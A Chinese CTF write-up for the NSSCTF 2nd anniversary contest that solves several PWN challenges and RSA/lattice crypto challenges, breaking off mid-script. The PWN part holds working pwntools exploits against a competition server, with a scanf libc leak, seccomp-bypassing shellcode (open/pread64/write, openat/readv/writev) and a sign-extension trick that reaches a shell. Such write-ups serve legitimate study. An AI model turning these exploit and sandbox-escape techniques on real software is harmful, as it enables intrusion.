[NSSCTF 2nd] NSS两周年纪念赛。

news2025/1/19 23:07:16

 

都说开卷有益,其实作题也有益,每打一次总能学到点东西。

PWN

NewBottleOldWine

这个没作出来,一时还不明白RISC-V64怎么弄本地环境,不过看了WP感觉很简单,取flag用不着环境。

IDA不给翻译了,一点点看汇编。只有一个main,里边分成小段,

第一段前边是一堆puts,这里lui是传给它一个段号,然后addi加上偏移就得到具体地址。

然后读入一个数,从格式化串%lld来看是个8字节整形。红箭头上边这块将读入的数取出,转成w(sext.w前低16位符号位扩展为32位有符号整数)4字节整形,看是否大于0(bgtz:big then zero)如果大于0就跳到下边执行下一段,否则便exit。

 第二段也是个判断,先取出数,然后和0x9f比较如果小于则跳到下一段,否则退出

 

 第三段先是个puts然后 取出数字(lw:4字节整形)与start的地址相加,存到a5,然后中转到a5执行。

 第4段是个后门,执行system(/bin/sh)

 这里唯一的问题是这个数要小于0x9f且大于0,但是从 start到后门的偏移是0x220,由于第一次和0比较时用的低16位扩展成32位,第2次比较用的64位。所以这里可以设置一个负数:高4位为ff低4位是0x220这样第1次只用两字节通过,第2次用8字节显示是负数通过检查。这个数就是这样:

0xffffffff00000220

然后转成负数(-4294966750)输入取可。不需要写代码。 

happy2

这个题也没完成,卡在了一个shellcode上。

题目先是一个proof,可以读入数字然后显示。显然是个泄露漏洞,用scanf时如果输入一个+或者-号后边没数字的话,就不会将读入的东西写入,这样就会显示原来内存里的内容。由于上一步执行的init这里显然会有一个_IO_2_1_stderr_的地址。gdb跟进找到位置即可。这时是2。写两个-然后得到libc,输入puts的地址即可过头。

unsigned __int64 proof()
{
  unsigned int v1; // [rsp+8h] [rbp-A8h] BYREF
  int i; // [rsp+Ch] [rbp-A4h]
  int (**v3)(const char *); // [rsp+10h] [rbp-A0h] BYREF
  int (**v4)(const char *); // [rsp+18h] [rbp-98h]
  __int64 v5[17]; // [rsp+20h] [rbp-90h] BYREF
  unsigned __int64 v6; // [rsp+A8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v4 = &puts;
  puts("How many things you want to konw");
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0x11 )
  {
    puts("Greedy!");
    exit(0);
  }
  for ( i = 0; i < (int)v1; ++i )
  {
    __isoc99_scanf("%ld", &v5[i]);
    printf("%ld", v5[i]);
  }
  puts("you konw enough you should know");
  puts("now you need to have a try");
  __isoc99_scanf("%ld", &v3);
  if ( v4 != v3 )
    exit(0);
  return v6 - __readfsqword(0x28u);
}

后边似乎没有这个proof难,读入shellcode 到mmap得到的可读写区域然后执行。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+4h] [rbp-Ch]

  init();
  proof();
  v4 = fork();
  if ( v4 )
  {
    printf("pid: %d\n", v4);
    mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL);
    read(0, (void *)0x10000, 0x1000uLL);
    sandbox();
    MEMORY[0x10000]();
  }
  else
  {
    love();
  }
  return 0;
}

当然没那么简单,这里设置了一个sandbox禁用了read,execveat等。由于execve也会用到read所以这个问题就比较麻烦了。

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x0000002a  if (A == connect) goto 0010
 0007: 0x15 0x02 0x00 0x00000039  if (A == fork) goto 0010
 0008: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

我一开始作的是xenny的诱惑,所以想同样用open+readv+writev但一直不成功,估计是readv用的结构可能的问题。看到WP用的是open+pread64+write一试果然OK

from pwn import *

#p = process('./pwn')
p = remote('123.249.2.218', 10000)
context(arch='amd64', log_level= 'debug')

libc = ELF('./libc.so.6')
elf = ELF('./pwn')

#gdb.attach(p, "b*0x4015e7\nc")

#proof
p.sendlineafter(b"How many things you want to konw\n", b'2')
p.sendline(b'-')
p.recv(1)
p.sendline(b'-')
libc.address = int(p.recvuntil(b'you', drop=True)) - libc.sym['_IO_2_1_stderr_']
p.sendlineafter(b"now you need to have a try\n", str(libc.sym['puts']).encode())

bss_targ = 0x404000+0x800

#open(&filename, 0,0)
#pread64(fd, buf, len, 0)
#write(1, buf, len)
shellcode = '''
mov rax, 0x67616c66; push rax; mov rdi,rsp; xor rsi,rsi; xor rdx,rdx; mov rax,2;syscall;
mov rdi,3; mov rsi,0x404800;mov rdx,0x100;xor r10,r10;mov rax,17;syscall;
mov rdi,1; mov rsi,0x404800;mov rdx,0x100;mov rax,1;syscall;
'''
payload = asm(shellcode)

p.send(payload)

p.interactive()

xenny的诱惑

这题我吃完饭,涮完锅,然后回来作居然给留了二血

这题没有附件,连上后会给一大堆base64的码。先存下来分析。

这种原来也见过,给的是个程序,这个程序是程序生成的,每次都会变化,但大体流程上不变只是变个数字。

打开以后看到main直接调用fun0然后每个fun都有11个分支。一共有1000个结点。

 最后一个应该是个后门,跟happy2差不多,也是个可读写执行的块,然后写shellcode,然后是sandbox

 这个sandbox有意思,禁用了ORW

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL

这个ORW绕过用 openat+readv+writev

其中readv和writev需要从一个结构里读地址和长度,要先预设这个结构。

然后开始弄代码。这个程序由几小块完成。第1段获取代码,从中读出结点和每个结点的下级。应该是有程序可以解决这个,但我没有,我用的原始方法,从二进制代码里找。这个也有个优势就是这题有超时设置。自己读会比较省时间。

from pwn import *
from base64 import *
import sys 

def show(f):
    for i in f:
        print(hex(i), len(func[i]))
        for j in range(len(func[i])):
            print(hex(func[i][j]), end=',')
        print()
        


p = remote('node6.anna.nssctf.cn', 28005)

p.recvline()
msg = p.recvline().strip()
elf = b64decode(msg)
'''
#open('a.txt', 'wb').write(elf)
elf = open('a.elf','rb').read()

p = process('./a.elf')
'''
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x0000555555554000+0x13f8\nc")
#
pos = 0x1499
func = {}

for i in range(1000):
    while not elf[pos:].startswith( b'\xF3\x0F\x1E\xFA'):
        pos += 1
    
    funid = pos 
    ptr = []
    while not elf[pos:].startswith( b'\xb8\x00\x00\x00\x00\xe8'): #puts or xenny
        pos += 1
    pos += 6
    v = (pos+4+u32(elf[pos:pos+4]))&0xffffffff
    if v == 0x1381:
        func[funid] = [0x1381]
        continue
        
    while not elf[pos:].startswith( b'\x3E\xFF\xE0'):  #第1个jmp是puts的找switch case
        pos += 1
    pos+=3
    while elf[pos:].startswith( b'\xb8\x00\x00\x00\x00\xe8'):
        pos +=6
        ptr.append((pos+4+u32(elf[pos:pos+4]))&0xffffffff)
        #print(elf[pos:pos+4])
        pos +=4
    func[funid] =ptr
    #print(i)
    #if i>2:
    #    break 

#print(func)
show(func)

然后找到这个路径。一开始用递归。看来这题专门对递归作了限制。不管是正向还是反向都会有环路。递归这东西应该是专门用来教学的。实际用的时候不应该用。至少要扁平化后才行。

way = []
first = 0x149a   #step1
target = 0x1381  #xenny
'''
def dfs(tfunc, tt, head):
    global way 
    if len(tfunc) == 0:
        return 
    if tt == target:
        way = head
        return

    k = tfunc.copy()
    v = k.pop(tt)
    #print(v, hex(tt))
    for i in range(len(v)):
        if v[i] in k:
            dfs(k, v[i], head+[i])

dfs(func, first, [])
print('OK:',way)
'''


way = [[first,'']]
ok = False
sway = ''
while len(way):
    print(len(way))
    tway = []
    for t_idx,t_s in way:
        if not t_idx in func: continue
        v = func.pop(t_idx)
        for i in range(len(v)):
            if v[i] == target:
                sway = t_s
                ok = True
                break
            tway.append([v[i], t_s+str(i+1)])
        if ok:
            break
    if ok:
        break
    way = tway.copy()
    
print('ok:',sway)

然后输入这个代码,由于有必需tmp==1000的限制,这里前边补足0(0是直接加然后回到本级)这里漏了个问题,后来也懒得改,反正大概率成功。这里分支是11个,后边的是两位数,我只用了1位数存结果哈。一次成功,无所谓了。

for i in range(1000 - len(sway)):
    p.sendline(b'0')

for i in sway:
    p.sendline(i.encode())

最后是shellcode,flag和结构直接跟在后边

shellcode = ''
shellcode += shellcraft.openat(0,'/flag')
shellcode += shellcraft.readv(3,0x10110,1)
shellcode += shellcraft.writev(1,0x10110,1)

payload = asm(shellcode).ljust(0x100, b'\x00')+b'/flag\x00'.ljust(16, b'\x00')+ flat(0x10200, 0x100)

p.sendline(payload)

p.interactive()

CRYPTO

EzRSA

前两个密码非常简单

from Crypto.Util.number import *
from secret import flag
m = bytes_to_long(flag)
assert m.bit_length()<200
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 3
c = pow(m, e, n)
kbits = 103
m = (m >> kbits) << kbits
Mod = getPrime(1024)
hint1 = (2021-2023*m) % Mod
hint2 = pow(2, 2023, Mod)
print('n =',n)
print('c =',c)
print('hint1 =',hint1)
print('hint2 =',hint2)

看上去很复杂,但一想flag也没多长,而e=3直接开方即可。

FunnyEncrypt

这个给一堆图标,在尾部可以明显看出来flag的痕迹

✧✡✭
✡✮ ✣✴✯ ✤✶✬✬✱ ✬✤ ✱✦✢✥✮✯✧✧, ✴✬✷✯ ✡✧ ✣✴✯ ✶✡✰✴✣. ✡✣ ❂✢✡✮✰✧ ✩✬✸✤✬✢✣, ✤✦✡✣✴, ✦✮✱ ✩✬✮✤✡✱✯✮✩✯. ✡✣ ✰✡✲✯✧ ✳✧ ✰✳✡✱✦✮✩✯ ★✴✯✮ ★✯ ✦✢✯ ✶✬✧✣, ✦✮✱ ✰✡✲✯✧ ✧✳✷✷✬✢✣ ★✴✯✮ ★✯ ✦✢✯ ✦✤✢✦✡✱. ✦✮✱ ✣✴✯ ✸✬✸✯✮✣ ★✯ ✰✡✲✯ ✳✷ ✴✬✷✯, ★✯ ✰✡✲✯ ✳✷ ✬✳✢ ✶✡✲✯✧. ✣✴✯ ★✬✢✶✱ ★✯ ✶✡✲✯ ✡✮ ✡✧ ✱✡✧✡✮✣✯✰✢✦✣✡✮✰ ✡✮✣✬ ✦ ✷✶✦✩✯ ✬✤ ✸✦✶✡✩✯ ✦✮✱ ✴✦✣✢✯✱, ★✴✯✢✯ ★✯ ✮✯✯✱ ✴✬✷✯ ✦✮✱ ✤✡✮✱ ✡✣ ✴✦✢✱✯✢. ✡✮ ✣✴✡✧ ★✬✢✶✱ ✬✤ ✤✯✦✢, ✴✬✷✯ ✣✬ ✤✡✮✱ ❂✯✣✣✯✢, ❂✳✣ ✯✦✧✡✯✢ ✧✦✡✱ ✣✴✦✮ ✱✬✮✯, ✣✴✯ ✸✬✢✯ ✸✯✦✮✡✮✰✤✳✶ ✶✡✤✯ ✬✤ ✤✦✡✣✴ ★✡✶✶ ✸✦✥✯ ✶✡✤✯ ✸✯✦✮✡✮✰✤✳✶.
✧✬✸✯✣✡✸✯✧ ★✯ ✣✴✡✮✥ ✬✤ ✱✢✯✦✸✧ ✦✧ ✤✦✮✣✦✧✡✯✧ - ✡✣'✧ ✯✦✧✵ ✣✬ ✱✬ ★✴✯✮ ✵✬✳ ✴✦✲✯ ✸✬✮✯✵, ✢✯✮✣, ✦✮✱ ★✬✢✥. ❂✳✣ ✵✬✳ ✩✦✮'✣ ✷✢✯✷✦✢✯ ✵✬✳✢✧✯✶✤ ✦✮✱ ✫✳✸✷ ✬✤✤ ✣✴✯ ✩✶✡✤✤: ✵✬✳ ✧✴✬✳✶✱ ✰✢✬★ ✵✬✳✢ ★✡✮✰✧ ✤✡✢✧✣. ✦ ✶✡✣✣✶✯ ❂✡✣ ✣✬★✦✢✱ ✣✴✯ ✱✢✯✦✸. ✧✣✯✷ ❂✵ ✧✣✯✷. ✣✦✥✯ ✦ ✧✣✯✷ ✤✬✢★✦✢✱. ✦✤✣✯✢ ✦✶✶, ✡✣'✧ ✵✬✳✢ ✸✡✧✧✡✬✮.
✥✯✯✷ ✤✦✡✣✴ ✦✮✱ ✴✬✷✯ ✤✬✢ ✣✴✯ ✤✳✣✳✢✯. ✸✦✥✯ ✵✬✳✢ ✸✬✧✣ ✧✡✮✩✯✢✯ ✱✢✯✦✸✧, ✦✮✱ ★✴✯✮ ✣✴✯ ✬✷✷✬✢✣✳✮✡✣✡✯✧ ✩✬✸✯, ✣✴✯✵ ★✡✶✶ ✤✡✰✴✣ ✤✬✢ ✣✴✯✸. ✡✣ ✸✦✵ ✣✦✥✯ ✦ ✧✯✦✧✬✮ ✬✢ ✸✬✢✯, ❂✳✣ ✣✴✯ ✯✮✱✡✮✰ ★✡✶✶ ✮✬✣ ✩✴✦✮✰✯. ✦✸❂✡✣✡✬✮, ❂✯✧✣, ❂✯✩✬✸✯ ✦ ✢✯✦✶✡✣✵. ✦✮ ✳✮✩✯✢✣✦✡✮ ✤✳✣✳✢✯, ✬✮✶✵ ✬✮✯ ✧✣✯✷ ✦✣ ✦ ✣✡✸✯, ✣✴✯ ✴✬✷✯ ✩✦✮ ✢✯✦✶✡✪✯ ✣✴✯ ✱✢✯✦✸ ✬✤ ✣✴✯ ✴✡✰✴✯✧✣. ★✯ ✸✳✧✣ ✣✢✯✦✧✳✢✯ ✣✴✯ ✱✢✯✦✸, ✣✬ ✷✢✬✣✯✩✣ ✡✣ ✦ ✧✯✦✧✬✮, ✶✯✣ ✡✣ ✡✮ ✣✴✯ ✴✯✦✢✣ ❋✳✡✯✣✶✵ ✰✯✢✸✡✮✦✶.
✬✮✶✵ ★✴✯✮ ✵✬✳ ✳✮✱✯✢✧✣✦✮✱ ✣✴✯ ✣✢✳✯ ✸✯✦✮✡✮✰ ✬✤ ✶✡✤✯ ✩✦✮ ✵✬✳ ✶✡✲✯ ✣✢✳✶✵. ❂✡✣✣✯✢✧★✯✯✣ ✦✧ ✶✡✤✯ ✡✧, ✡✣'✧ ✧✣✡✶✶ ★✬✮✱✯✢✤✳✶, ✦✮✱ ✡✣'✧ ✤✦✧✩✡✮✦✣✡✮✰ ✯✲✯✮ ✡✮ ✣✢✦✰✯✱✵. ✡✤ ✵✬✳'✢✯ ✫✳✧✣ ✦✶✡✲✯, ✣✢✵ ✴✦✢✱✯✢ ✦✮✱ ✣✢✵ ✣✬ ✶✡✲✯ ★✬✮✱✯✢✤✳✶✶✵.
✡ ❂✯✶✡✯✲✯ ✣✴✯✢✯ ✡✧ ✦ ✷✯✢✧✬✮ ★✴✬ ❂✢✡✮✰✧ ✧✳✮✧✴✡✮✯ ✡✮✣✬ ✵✬✳✢ ✶✡✤✯. ✣✴✦✣ ✷✯✢✧✬✮ ✸✦✵ ✴✦✲✯ ✯✮✬✳✰✴ ✣✬ ✧✷✢✯✦✱ ✦✢✬✳✮✱. ❂✳✣ ✡✤ ✵✬✳ ✢✯✦✶✶✵ ✴✦✲✯ ✣✬ ★✦✡✣ ✤✬✢ ✧✬✸✯✬✮✯ ✣✬ ❂✢✡✮✰ ✵✬✳ ✣✴✯ ✧✳✮ ✦✮✱ ✰✡✲✯ ✵✬✳ ✦ ✰✬✬✱ ✤✯✯✶✡✮✰, ✣✴✯✮ ✵✬✳ ✸✦✵ ✴✦✲✯ ✣✬ ★✦✡✣ ✦ ✶✬✮✰ ✣✡✸✯.
✡✮ ✦ ★✬✢✱,✡ ✴✬✷✯ ✵✬✳ ★✡✶✶ ✶✡✥✯ ✩✢✵✷✣✬✰✢✦✷✴✵.✣✴✡✧ ✡✧ ✵✬✳✢ ✤✶✦✰:✮✧✧✩✣✤{✩✢✵✷✣✬_✡✧_✧✬_✡✮✣✯✢✯✧✣✡✮✰_★✴✵_✱✬✮'✣_✵✬✳_✫✬✡✮_✳✧}
 

应该是先换成字母再用quipquip字频分析。我是手工替换的,这个很容易,好多词都是固定的

SI✭
IN THE FLOOD OF DARKNESS, HOPE IS THE LIGHT. IT BRINGS COMFORT, FAITH, AND CONFIDENCE. IT GIVES US GUIDANCE WHEN WE ARE LOST, AND GIVES SUPPORT WHEN WE ARE AFRAID. AND THE MOMENT WE GIVE UP HOPE, WE GIVE UP OUR LIVES. THE WORLD WE LIVE IN IS DISINTEGRATING INTO A PLACE OF MALICE AND HATRED, WHERE WE NEED HOPE AND FIND IT HARDER. IN THIS WORLD OF FEAR, HOPE TO FIND BETTER, BUT EASIER SAID THAN DONE, THE MORE MEANINGFUL LIFE OF FAITH WILL MAKE LIFE MEANINGFUL.
SOMETIMES WE THINK OF DREAMS AS FANTASIES - IT'S EASY TO DO WHEN YOU HAVE MONEY, RENT, AND WORK. BUT YOU CAN'T PREPARE YOURSELF AND JUMP OFF THE CLIFF: YOU SHOULD GROW YOUR WINGS FIRST. A LITTLE BIT TOWARD THE DREAM. STEP BY STEP. TAKE A STEP FORWARD. AFTER ALL, IT'S YOUR MISSION.
KEEP FAITH AND HOPE FOR THE FUTURE. MAKE YOUR MOST SINCERE DREAMS, AND WHEN THE OPPORTUNITIES COME, THEY WILL FIGHT FOR THEM. IT MAY TAKE A SEASON OR MORE, BUT THE ENDING WILL NOT CHANGE. AMBITION, BEST, BECOME A REALITY. AN UNCERTAIN FUTURE, ONLY ONE STEP AT A TIME, THE HOPE CAN REALI✪E THE DREAM OF THE HIGHEST. WE MUST TREASURE THE DREAM, TO PROTECT IT A SEASON, LET IT IN THE HEART ❋UIETLY GERMINAL.
ONLY WHEN YOU UNDERSTAND THE TRUE MEANING OF LIFE CAN YOU LIVE TRULY. BITTERSWEET AS LIFE IS, IT'S STILL WONDERFUL, AND IT'S FASCINATING EVEN IN TRAGEDY. IF YOU'RE JUST ALIVE, TRY HARDER AND TRY TO LIVE WONDERFULLY.
I BELIEVE THERE IS A PERSON WHO BRINGS SUNSHINE INTO YOUR LIFE. THAT PERSON MAY HAVE ENOUGH TO SPREAD AROUND. BUT IF YOU REALLY HAVE TO WAIT FOR SOMEONE TO BRING YOU THE SUN AND GIVE YOU A GOOD FEELING, THEN YOU MAY HAVE TO WAIT A LONG TIME.
IN A WORD,I HOPE YOU WILL LIKE CRYPTOGRAPHY.THIS IS YOUR FLAG:nssctf{crypto_is_so_interesting_why_don't_you_join_us} 

Math 

这个没完成,但收获比较大,费马逆推第一次。

题目分两部分,第1是给了invert(p,q),invert(q,p)和phi

from secret import flag
from Crypto.Util.number import *
import gmpy2

length = len(flag)
flag1 = flag[:length//2]
flag2 = flag[length//2:]
e = 65537

m1 = bytes_to_long(flag1)
p = getPrime(512)
q = getPrime(512)
n = p*q
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)

p1 = gmpy2.invert(p,q)
q1 = gmpy2.invert(q,p)
c = pow(m1,e,n)

print("p1=",p1)
print("q1=",q1)
print("c=",c)
print("phi=",phi)

这里在大姥2021年博客里有,但拿那个方法没成功,他在博客里说了原文地址,在github上找到后一运行成功。

p1= 3020925936342826638134751865559091272992166887636010673949262570355319420768006254977586056820075450411872960532347149926398408063119965574618417289548987
q1= 4671408431692232396906683283409818749720996872112784059065890300436550189441120696235427299344866325968178729053396743472242000658751114391777274910146291
c= 25112054943247897935419483097872905208058812866572413543619256987820739973912338143408907736140292730221716259826494247791605665059462509978370784276523708331832947651238752021415405546380682507724076832547566130498713598421615793975775973104012856974241202142929158494480919115138145558312814378701754511483
phi= 57503658815924732796927268512359220093654065782651166474086873213897562591669139461637657743218269483127368502067086834142943722633173824328770582751298229218384634668803018140064093913557812104300156596305487698041934061627496715082394633864043543838906900101637618600513874001567624343801197495058260716932

#https://github.com/pcw109550/write-up/tree/master/2019/HITCON/Lost_Modulus_Again
d = gmpy2.invert(e, phi)

kn = e * d - 1
count = 0

def solve(a, b, c):
    D = b ** 2 - 4 * a * c
    assert gmpy2.is_square(D)
    x1 = (-b + gmpy2.isqrt(D)) // (2 * a)
    x2 = (-b - gmpy2.isqrt(D)) // (2 * a)
    return x1, x2

for k in range(3, e):
    if kn % k == 0:
        count += 1
        phi_n = kn // k
        # coefficients of quadratic eq
        a = x - 1
        b = x * y - 1 + (x - 1) * (y - 1) - phi_n
        c = (y - 1) * (x * y - 1)
        try:
            k1, k2 = solve(a, b, c)
            if (x * y - 1) % k1 == 0:
                k2 = (x * y - 1) // k1
            elif (x * y - 1) % k2 == 0:
                k1, k2 = k2, (x * y - 1) // k2
            else:
                assert False
            p, q = x + k2, y + k1
            N = p * q

            flag = long_to_bytes(pow(ct, d, N)).strip()
            break
        except AssertionError:
            pass

print(flag)
#NSSCTF{e713afa4-fcd8-4

后来看WP还有更简单的方法

#方法2 
import z3
import libnum
s = z3.Solver()
p, q = z3.Ints('p q')
#invp*p = 1 mod q ; invq*q = 1 mod p 
#????
s.add(p*q == pinv * p + qinv * q - 1)
s.add(phi == (p-1)*(q-1))

print(s.check())
m = s.model()

p = m[p].as_long()
q = m[q].as_long()

d = libnum.invmod(e, phi)
flag = pow(c,d,p*q)
flag1 = libnum.n2s(flag)

第二部分似曾相识,可原来都是两个式子,这里是一个

m2 = bytes_to_long(flag2)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m2, e, n)
hint = pow(2023 * p + 114514, q, n)
print("n=",n)
print("c=",c)
print("hint=",hint)

后来看大姥WP并问了若干次才明白。这个叫费马小定理逆推。

先对原式模p得到  hint = (2023p + 114514)^{q} = 114514^{q}\, mod\, p

然后逆推一下114514^{N} = 114514^{p*q} = 114514^{q^{p}} = 114514^{q}\,mod \,p

这里的114514^q可以替换成114514^N这样去掉q以后与N取公因子就得到p了

n= 12775720506835890504634034278254395430943267336816473660983646973423280986156683988190224391394224069040565587173690009193979401332176772774003070053150665425296356891182224095151626957780349726980433545162004592720236315207871365869074491602494662741551613634958123374477023452496165047922053316939727488269523121920612595228860205356006298829652664878874947173274376497334009997867175453728857230796230189708744624237537460795795419731996104364946593492505600336294206922224497794285687308908233911851722675754289376914626682400586422368439122244417279745706732355332295177737063024381192630487607768783465981451061
c= 11915755246503584850391275332434803210208427722294114071001100308626307947436200730224125480063437044802693983505018296915205479746420176594816835977233647903359581826758195341201097246092133133080060014734506394659931221663322724002898147351352947871411658624516142945817233952310735792476179959957816923241946083918670905682025431311942375276709386415064702578261223172000098847340935816693603778431506315238612938066215726795441606532661443096921685386088202968978123769780506210313106183173960388498229061590976260661410212374609180449458118176113016257713595435899800372393071369403114116302366178240855961673903
hint= 3780943720055765163478806027243965253559007912583544143299490993337790800685861348603846579733509246734554644847248999634328337059584874553568080801619380770056010428956589779410205977076728450941189508972291059502282197067064652703679207594494311426932070873126291964667101759741689303119878339091991064473009603015444698156763131697516348762529243379294719509271792197450290763350043267150173332933064667716343268081089911389405010661267902446894363575630871542572200564687271311946580866369204751787686029541644463829030926902617740142434884740791338666415524172057644794094577876577760376741447161098006698524808

#hint = pow(2023p+114514,q,n)
#hint =(ap+b)^q (mod p) 
#     = b^q (mod p)  二项式定理
#     = b^p*b^q (mod p)= b^N (mod p)  #费马小定理反推 b^N = b^(pq) = (b^q)^p = b^q mod p 
from gmpy2 import gcd,invert
from Crypto.Util.number import long_to_bytes 
p = gcd(hint - pow(114514,n,n), n)
m = pow(c,invert(e,p-1),p)
long_to_bytes(m)
#19f-a1a6-959449b4df5a}

LatticeLCG

这题一开始两个小e然后两个c显然是共模攻击,但是没有给n

然后n作为lcg的模给了两个值

最后给出随机的20个e和一个随机数的20个c

from Crypto.Util.number import *

flag = b'NSSCTF{******************************}'

a = getPrime(512)
seed = getPrime(512)
b = bytes_to_long(flag)
n = getPrime(1024)

e1 = 2333
e2 = 23333
c1 = pow(a,e1,n)
c2 = pow(a,e2,n)

output = []
for i in range(10):
    seed = (a*seed+b)%n
    output.append(seed)

print("c1 = ",c1)
print("c2 = ",c2)
print("output1 = ",output[0])
print("output2 = ",output[1])


e = [getPrime(128) for _ in range(20)]
out = []
m = getPrime(64)

for i in e:
    out.append(pow(m,i,n))

print("e=",e)
print("out=",out)

第一步用这20组e,c求n用直列格规约

es= [297332330847212015073434001239859795661, 247136911662054641479463124065475615181, 269964458627145370722389742095701827701, 270745917671094194052444327351021588037, 254010082507930275771798119457499420531, 219178601856077385518322602059961601013, 226562702503988968288128483964146379529, 236756812424464516919183114495913408541, 330800121752029915693039296018980956519, 244800084005240595691424199440981715431, 171753849214889522920105847094773384191, 175843874533972361422410968920873382741, 326554577162848075059517044795930784993, 181842368629269753698222635712342485771, 221634122983362091660188171985742369561, 314244561819808202322467576330355199409, 286703236198397527318161582654787197007, 298101543059628501506668748374542117409, 304158884506393754601331945634109778837, 227577031261920314010408499530794497453]
cs= [100163998802948218573427220530909801629443946118807841130458771881611961921044413091457977957530737347507311468578174294420439883266450142918647561103714976340598499984679873518770686239019753272419975426555435266764099822607336645955391865380657632176223122712125661464370522088500110746571354290680063421912, 123528268396018633078964378145622645321836134964966941909300627704018826667414656614011250938241127521627117348901416042868382174504514240509791471909819407751786633761392047187057200130450960708049681366686147337178110669163142189940397343388837018627392202704211693014162963133958078984558400205296509955066, 50364974727218716170137342348825758682286710377257708196467656986986475658591351848251278364177715325447140300281348027787487944839878770556527568407280736570303345044999352851718908253510696083227344179177110348363623815158409862985684687329665113210373028159714648637297476014803935686233984711925346269925, 9159042298258514259206302054907530984498816597282237786310355131965025367180505822032135021520906576471052417629425493533222088036674196397387325202128095476044308794426593565419139845832998557280786358482011226957053125314152322427131984411160984485669030286331376124575677908877399942011661647598763754231, 83466948172962290899792524342204996697711370224947233607865306692546824512672969402433314856742908546253967225963904395036102408684746619744412073888614033881366518452878344698289278946024167788789718690655953517892282374396760436658422838909903123439370164929347147855359470889455753772857233516742991766128, 72028057477369331020972407277180913909557985390590548305094935208898254733240351763155769013959589016793318772858662702447133499307826143247356049051993727167694036585280387890126287679890730586145740176250715386149857291210207281073772478229355625725300592003798974298248102432508449566953296818450441875311, 63397152736399466888877444377156185012692670493456346196278062009641363047685720620967313379507212944658351683022480839941265221126018392433078546696140135677499181555082643172378488800458657825640013090182171355299282023794908520172571785687147143015581400891531296496177973817400317905868361800342940667657, 45427004823510815929685208038284324980662968275105063862891077759131069014314933978878667052450145039482242546093735499108826130367476890384431317243013990394189191560941678120985717370542332803012619694821129395559214706968432476548145608291516176910849698455496733056096163035964057523545705356926187216133, 85046100612081858546755294340770681541320509587396377967875404950325314121709046137842413744740490231945105758075761946555179595664901813127463402854440384657046429776033129391138370272524736543471909307910018577738207910417672603889922445435939876023878220177983424547612635006926243055642166274730894301704, 5833380233103086014860892228744764647016585478949686583145531659689295506666493518453642500086277427538189091865461553097914845680665917702500908205558454036911757659426809969367680394533585635383007758339917554453268182491874683638880986360065633842854622244953985055815937671635222264056071882344388307409, 83587615309194701727032548415548847571046191382552371312058083137102227325098839286526833147951063338204327145093831238962818333112251936853329663907079943414231588222256242520221314528944937229985997926851198158564313703719031124442094987245466116488897263358510493905440842917634723859176839440753120904481, 108651960334634726889543063749359050688114025706494125848785084643330096858725917513596985853593252388835207675036982640195609499739937405655156895161071906340785173459426867946058638393154997931747445494284445204735492709747637173698383609764016673932827648159152658645291248613736662020472251048171789274368, 118612010487916657134965416492319303083994743753602531817008130269546146141506819718265549648441671373744766173780682168587021797626910931105508317440664521595783406848956221465897709761805869130021172013000282497881581247777388315282629463546261696169893882772397797722134711444928443061384985458691749569847, 106808406616890955924408992591724627593882118490933791849624747503316110669154243209826761617940864170830792705070618439466645580274835929100331418955890808763286193770831205511071440703609240364726061677822134370309018443508205980554831705850988319397384130044484586798585896460152167042282847992593429629533, 88091869606421350393441194783722851111189272445506506936925797213395319937783082680078622732926273935980894566775394134783157488360516905477700601820480975112122167589887641130656305741351643175495552454293030309247254533571254198691204714097846510872592569447050033289483493274672346210063885124570695832880, 94400859500860667431780782962782396345261822402898708716634581228428633704975879685572548692997007974004673676539496590659276952154740096463133011458100387006276325192223993452314873089466451613079029429327880672384210802191677586975844471189127835578979108767548290181668434770385199468588493042256788539610, 76177813724283720012398394789596589415486093955132688784865364048503447246391866424200071522136707581280434193680972230914105236504028522288780213089260160776489804587209115330412067560802680789338779056583047491942817016437672075192528508677997165703606520158178725128251694801612417667440677124932361973397, 17188209523466762369281362386525396145127294763502094183797065621821932913685690176344514910405677170931795652509426794846131051983826422536084073462084935517166603832542862106287058675490933197600813710203114108790043880150305327523679949543592622443904084453387396870899883324751789625806819506542619123964, 120007173989070249117019147454557020213723707722383599019972471016186584968096445904023372671513462965078400715365736756710078805039115601609874780421117795585342458478316236202328120583456334489780231976628584606042971207759763658961365139429661536955996519512283283500790612975034779837647053750631763512799, 18797057418663411295612229938999282286746920748194349166509084258061650142260043277698907538088835210620841171754186980908772147495732980563542600139935202965632319542217264685208215907551992891370166006725534397313373079841419662622936316343820775075897977228084528246337988431658221881343556854053475137330]

#求n

B = matrix(ZZ, 2, 20)
B[0] = es 
B[1] = [1 for _ in range(20)]

M = B.right_kernel_matrix()
L = M.LLL()

#求n
def compute_kn(coff):
    res_right = 1
    res_left = 1
    for i ,cof in enumerate(coff):
        if cof > 0:
            res_right = res_right * cs[i]**cof
        else:
